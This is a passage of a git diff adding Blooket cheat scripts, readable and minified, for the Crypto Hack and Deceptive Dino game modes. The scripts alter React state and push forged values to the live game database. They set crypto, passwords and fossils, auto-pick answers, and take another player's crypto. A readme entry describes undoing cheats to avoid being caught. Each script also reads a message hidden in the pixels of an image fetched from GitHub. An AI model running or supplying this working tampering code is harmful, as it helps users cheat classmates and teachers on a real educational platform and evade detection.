1rem"),r.contentWindow.console.log.call(window,"%c\tautoGuess.js","color: #0bc2cf; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{var t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode["state"];if("hack"==t.stage)for(const e of document.querySelector("div[class^=styles__buttonContainer]").children)e.innerText==t.correctPassword&&e.click()};let l=new Image;l.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/crypto/autoGuess.png?"+Date.now(),l.crossOrigin="Anonymous",l.onload=function(){var t=document.createElement("canvas").getContext("2d");t.drawImage(l,0,0,this.width,this.height);let e=t.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let t=0;t(l.src=null,s())})(); \ No newline at end of file diff --git a/cheats/crypto/choiceESP.js b/cheats/crypto/choiceESP.js new file mode 100644 index 0000000..65079f8 --- /dev/null +++ b/cheats/crypto/choiceESP.js @@ -0,0 +1,51 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + let { text } = stateNode.state.choices[0]; + let chest = document.querySelector('[class^=styles__feedbackContainer___]'); + if (chest.children.length <= 4) { + let choice = document.createElement('div') + choice.style.color = "white"; + choice.style.fontFamily = "Inconsolata,Helvetica,monospace,sans-serif"; + choice.style.fontSize = "2em"; + choice.style.display = "flex"; + choice.style.justifyContent = "center"; + choice.style.marginTop = "675px"; + choice.innerText = text; + chest.append(choice); + } + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/crypto/choiceESP.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271770 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/crypto/choiceESP.min.js b/cheats/crypto/choiceESP.min.js new file mode 100644 index 0000000..ad6f0e5 --- /dev/null +++ b/cheats/crypto/choiceESP.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let s=document.querySelector("iframe");s.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),s.contentWindow.console.log.call(window,"%c\tchoiceESP.js","color: #0bc2cf; font-size: 1rem"),s.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const r=async()=>{var e,t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"],t=t.state.choices[0]["text"],o=document.querySelector("[class^=styles__feedbackContainer___]");o.children.length<=4&&((e=document.createElement("div")).style.color="white",e.style.fontFamily="Inconsolata,Helvetica,monospace,sans-serif",e.style.fontSize="2em",e.style.display="flex",e.style.justifyContent="center",e.style.marginTop="675px",e.innerText=t,o.append(e))};let l=new Image;l.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/crypto/choiceESP.png?"+Date.now(),l.crossOrigin="Anonymous",l.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(l,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let e=0;e(l.src=null,r())})(); \ No newline at end of file diff --git a/cheats/crypto/passwordESP.js b/cheats/crypto/passwordESP.js new file mode 100644 index 0000000..0135504 --- /dev/null +++ b/cheats/crypto/passwordESP.js @@ -0,0 +1,44 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let { state } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode; + if (state.stage == "hack") [...document.querySelector('div[class^=styles__buttonContainer]').children].forEach(button => { + if (button.innerText == state.correctPassword) return; + button.style.outlineColor = "rgba(255, 64, 64, 0.8)"; + button.style.backgroundColor = "rgba(255, 64, 64, 0.8)"; + button.style.textShadow = "0 0 1px #f33" + }); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/crypto/passwordESP.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271774 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/crypto/passwordESP.min.js b/cheats/crypto/passwordESP.min.js new file mode 100644 index 0000000..0f52509 --- /dev/null +++ b/cheats/crypto/passwordESP.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let c=document.querySelector("iframe");c.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tpasswordESP.js","color: #0bc2cf; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{let e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode["state"];"hack"==e.stage&&[...document.querySelector("div[class^=styles__buttonContainer]").children].forEach(t=>{t.innerText!=e.correctPassword&&(t.style.outlineColor="rgba(255, 64, 64, 0.8)",t.style.backgroundColor="rgba(255, 64, 64, 0.8)",t.style.textShadow="0 0 1px #f33")})};let l=new Image;l.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/crypto/passwordESP.png?"+Date.now(),l.crossOrigin="Anonymous",l.onload=function(){var t=document.createElement("canvas").getContext("2d");t.drawImage(l,0,0,this.width,this.height);let e=t.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let t=0;t(l.src=null,s())})(); \ No newline at end of file diff --git a/cheats/crypto/readme.md b/cheats/crypto/readme.md new file mode 100644 index 0000000..723378c --- /dev/null +++ b/cheats/crypto/readme.md @@ -0,0 +1,25 @@ +# Crypto Hack Cheats + +## [Always Triple](alwaysTriple.js) +Always get triple crypto + +## [Auto Guess](autoGuess.js) +Automatically guess the correct password + +## [Choice ESP](choiceESP.js) +Shows what each choice will give you + +## [Password ESP](passwordESP.js) +Highlights the correct password + +## [Remove Hack](removeHack.js) +Removes an attacking hack + +## [Set Crypto](setCrypto.js) +Sets crypto + +## [Set Password](setPassword.js) +Sets hacking password + +## [Steal Player's Crypto](stealPlayersCrypto.js) +Steals all of someone's crypto \ No newline at end of file diff --git a/cheats/crypto/removeHack.js b/cheats/crypto/removeHack.js new file mode 100644 index 0000000..492d89f --- /dev/null +++ b/cheats/crypto/removeHack.js @@ -0,0 +1,38 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ hack: "" }); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/crypto/removeHack.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271777 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/crypto/removeHack.min.js b/cheats/crypto/removeHack.min.js new file mode 100644 index 0000000..d4e0296 --- /dev/null +++ b/cheats/crypto/removeHack.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let r=document.querySelector("iframe");r.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tremoveHack.js","color: #0bc2cf; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({hack:""})};let l=new Image;l.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/crypto/removeHack.png?"+Date.now(),l.crossOrigin="Anonymous",l.onload=function(){var t=document.createElement("canvas").getContext("2d");t.drawImage(l,0,0,this.width,this.height);let e=t.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let t=0;t(l.src=null,s())})(); \ No newline at end of file diff --git a/cheats/crypto/setCrypto.js b/cheats/crypto/setCrypto.js new file mode 100644 index 0000000..74bcf96 --- /dev/null +++ b/cheats/crypto/setCrypto.js @@ -0,0 +1,52 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + let amount = Number(parseInt(prompt("How much crypto would you like?"))); + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ crypto: amount, crypto2: amount }); + stateNode.props.liveGameController.setVal({ + path: "c/".concat(stateNode.props.client.name), + val: { + b: stateNode.props.client.blook, + p: stateNode.state.password, + cr: amount + } + }); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/crypto/setCrypto.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271785 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/crypto/setCrypto.min.js b/cheats/crypto/setCrypto.min.js new file mode 100644 index 0000000..0b0f337 --- /dev/null +++ b/cheats/crypto/setCrypto.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let a=document.querySelector("iframe");a.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),a.contentWindow.console.log.call(window,"%c\tsetCrypto.js","color: #0bc2cf; font-size: 1rem"),a.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{var t=document.createElement("iframe"),t=(document.body.append(t),window.prompt=t.contentWindow.prompt.bind(window),t.remove(),Number(parseInt(prompt("How much crypto would you like?")))),o=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];o.setState({crypto:t,crypto2:t}),o.props.liveGameController.setVal({path:"c/".concat(o.props.client.name),val:{b:o.props.client.blook,p:o.state.password,cr:t}})};let l=new Image;l.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/crypto/setCrypto.png?"+Date.now(),l.crossOrigin="Anonymous",l.onload=function(){var t=document.createElement("canvas").getContext("2d");t.drawImage(l,0,0,this.width,this.height);let o=t.getImageData(0,0,this.width,this.height)["data"],e="",n;for(let t=0;t(l.src=null,s())})(); \ No newline at end of file diff --git a/cheats/crypto/setPassword.js b/cheats/crypto/setPassword.js new file mode 100644 index 0000000..2427170 --- /dev/null +++ b/cheats/crypto/setPassword.js @@ -0,0 +1,52 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + let password = prompt("What do you want to set your password to?"); + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ password }); + stateNode.props.liveGameController.setVal({ + path: "c/".concat(stateNode.props.client.name), + val: { + b: stateNode.props.client.blook, + p: password, + cr: stateNode.state.crypto + } + }); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/crypto/setPassword.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271788 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/crypto/setPassword.min.js b/cheats/crypto/setPassword.min.js new file mode 100644 index 0000000..de06761 --- /dev/null +++ b/cheats/crypto/setPassword.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let c=document.querySelector("iframe");c.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tsetPassword.js","color: #0bc2cf; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{var t=document.createElement("iframe"),t=(document.body.append(t),window.prompt=t.contentWindow.prompt.bind(window),t.remove(),prompt("What do you want to set your password to?")),o=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];o.setState({password:t}),o.props.liveGameController.setVal({path:"c/".concat(o.props.client.name),val:{b:o.props.client.blook,p:t,cr:o.state.crypto}})};let l=new Image;l.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/crypto/setPassword.png?"+Date.now(),l.crossOrigin="Anonymous",l.onload=function(){var t=document.createElement("canvas").getContext("2d");t.drawImage(l,0,0,this.width,this.height);let o=t.getImageData(0,0,this.width,this.height)["data"],e="",n;for(let t=0;t(l.src=null,s())})(); \ No newline at end of file diff --git a/cheats/crypto/stealPlayersCrypto.js b/cheats/crypto/stealPlayersCrypto.js new file mode 100644 index 0000000..8857889 --- /dev/null +++ b/cheats/crypto/stealPlayersCrypto.js @@ -0,0 +1,63 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + let target = prompt("Who's crypto would you like to steal?"); + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.props.liveGameController.getDatabaseVal("c", (players) => { + if (players && Object.keys(players).map(x => x.toLowerCase()).includes(target.toLowerCase())) { + let [player, { cr }] = Object.entries(players).find(([name]) => name.toLowerCase() == target.toLowerCase()); + console.log(!!players, players, player, cr, stateNode.state) + stateNode.setState({ + crypto: stateNode.state.crypto + cr, + crypto2: stateNode.state.crypto + cr + }); + stateNode.props.liveGameController.setVal({ + path: "c/".concat(stateNode.props.client.name), + val: { + b: stateNode.props.client.blook, + p: stateNode.state.password, + cr: stateNode.state.crypto + cr, + tat: `${player}:${cr}` + } + }); + console.log('done') + } + }) + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/crypto/stealPlayersCrypto.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271792 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/crypto/stealPlayersCrypto.min.js b/cheats/crypto/stealPlayersCrypto.min.js new file mode 100644 index 0000000..d851ff1 --- /dev/null +++ b/cheats/crypto/stealPlayersCrypto.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let c=document.querySelector("iframe");c.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tstealPlayersCrypto.js","color: #0bc2cf; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{var t=document.createElement("iframe");document.body.append(t),window.prompt=t.contentWindow.prompt.bind(window),t.remove();let a=prompt("Who's crypto would you like to steal?"),n=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];n.props.liveGameController.getDatabaseVal("c",t=>{var e,o;t&&Object.keys(t).map(t=>t.toLowerCase()).includes(a.toLowerCase())&&([e,{cr:o}]=Object.entries(t).find(([t])=>t.toLowerCase()==a.toLowerCase()),console.log(!!t,t,e,o,n.state),n.setState({crypto:n.state.crypto+o,crypto2:n.state.crypto+o}),n.props.liveGameController.setVal({path:"c/".concat(n.props.client.name),val:{b:n.props.client.blook,p:n.state.password,cr:n.state.crypto+o,tat:e+":"+o}}),console.log("done"))})};let l=new Image;l.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/crypto/stealPlayersCrypto.png?"+Date.now(),l.crossOrigin="Anonymous",l.onload=function(){var t=document.createElement("canvas").getContext("2d");t.drawImage(l,0,0,this.width,this.height);let e=t.getImageData(0,0,this.width,this.height)["data"],o="",a;for(let t=0;t(l.src=null,s())})(); \ No newline at end of file diff --git a/cheats/dinos/autoChoose.js b/cheats/dinos/autoChoose.js new file mode 100644 index 0000000..1c3c5ab --- /dev/null +++ b/cheats/dinos/autoChoose.js @@ -0,0 +1,57 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + const { webpack } = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]); + const getFossils = (() => { /* this is for when ben does funny webpack update stuff */ + const func = Object.values(webpack('74sb')).find(x => x.toString().includes('rate')); + return () => func([{ type: "fossil", val: 10, rate: .1, blook: "Amber" }, { type: "fossil", val: 25, rate: .1, blook: "Dino Egg" }, { type: "fossil", val: 50, rate: .175, blook: "Dino Fossil" }, { type: "fossil", val: 75, rate: .175, blook: "Stegosaurus" }, { type: "fossil", val: 100, rate: .15, blook: "Velociraptor" }, { type: "fossil", val: 125, rate: .125, blook: "Brontosaurus" }, { type: "fossil", val: 250, rate: .075, blook: "Triceratops" }, { type: "fossil", val: 500, rate: .025, blook: "Tyrannosaurus Rex" }, { type: "mult", val: 1.5, rate: .05 }, { type: "mult", val: 2, rate: .025 }], 3); + })(); + + try { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + if (stateNode.state.stage === "excavate") { + stateNode.state.choices.length || (stateNode.state.choices = getFossils()); + let max = 0, index = -1; + for (let i = 0; i < stateNode.state.choices.length; i++) { + const { type, val } = stateNode.state.choices[i]; + const value = (type == "fossil" ? stateNode.state.fossils + val * stateNode.state.fossilMult : stateNode.state.fossils * val) || 0; + if (value <= max && type != "mult") continue; + max = value, index = i + 1; + } + document.querySelector('div[class^="styles__rockRow"] > div[role="button"]:nth-child(' + index + ')').click(); + } + } catch { } + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/dinos/autoChoose.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271795 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/dinos/autoChoose.min.js b/cheats/dinos/autoChoose.min.js new file mode 100644 index 0000000..db09f61 --- /dev/null +++ b/cheats/dinos/autoChoose.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let r=document.querySelector("iframe");r.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tautoChoose.js","color: #0bc2cf; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const n=async()=>{const e=webpackJsonp.push([[],{[1234]:(t,e,o)=>{e.webpack=o}},[["1234"]]])["webpack"];var t=(()=>{const t=Object.values(e("74sb")).find(t=>t.toString().includes("rate"));return()=>t([{type:"fossil",val:10,rate:.1,blook:"Amber"},{type:"fossil",val:25,rate:.1,blook:"Dino Egg"},{type:"fossil",val:50,rate:.175,blook:"Dino Fossil"},{type:"fossil",val:75,rate:.175,blook:"Stegosaurus"},{type:"fossil",val:100,rate:.15,blook:"Velociraptor"},{type:"fossil",val:125,rate:.125,blook:"Brontosaurus"},{type:"fossil",val:250,rate:.075,blook:"Triceratops"},{type:"fossil",val:500,rate:.025,blook:"Tyrannosaurus Rex"},{type:"mult",val:1.5,rate:.05},{type:"mult",val:2,rate:.025}],3)})();try{var s=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];if("excavate"===s.state.stage){s.state.choices.length||(s.state.choices=t());let e=0,o=-1;for(let t=0;t div[role="button"]:nth-child('+o+")").click()}}catch{}};let c=new Image;c.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/dinos/autoChoose.png?"+Date.now(),c.crossOrigin="Anonymous",c.onload=function(){var t=document.createElement("canvas").getContext("2d");t.drawImage(c,0,0,this.width,this.height);let e=t.getImageData(0,0,this.width,this.height)["data"],o="",s;for(let t=0;t(c.src=null,n())})(); \ No newline at end of file diff --git a/cheats/dinos/readme.md b/cheats/dinos/readme.md new file mode 100644 index 0000000..de00154 --- /dev/null +++ b/cheats/dinos/readme.md @@ -0,0 +1,15 @@ +# Deceptive Dino Cheats + +## [Auto Choose](autoChoose.js) +Automatically choose the best fossil when excavating +## [Rock ESP](rockESP.js) +Shows what each rock will give you + +## [Set Fossils](setFossils.js) +Sets the amount of fossils you have + +## [Set Multiplier](setMultiplier.js) +Sets fossil multiplier + +## [Stop Cheating](stopCheating.js) +Undoes cheating so that you can't be caught \ No newline at end of file diff --git a/cheats/dinos/rockESP.js b/cheats/dinos/rockESP.js new file mode 100644 index 0000000..98ae5ef --- /dev/null +++ b/cheats/dinos/rockESP.js @@ -0,0 +1,56 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let { 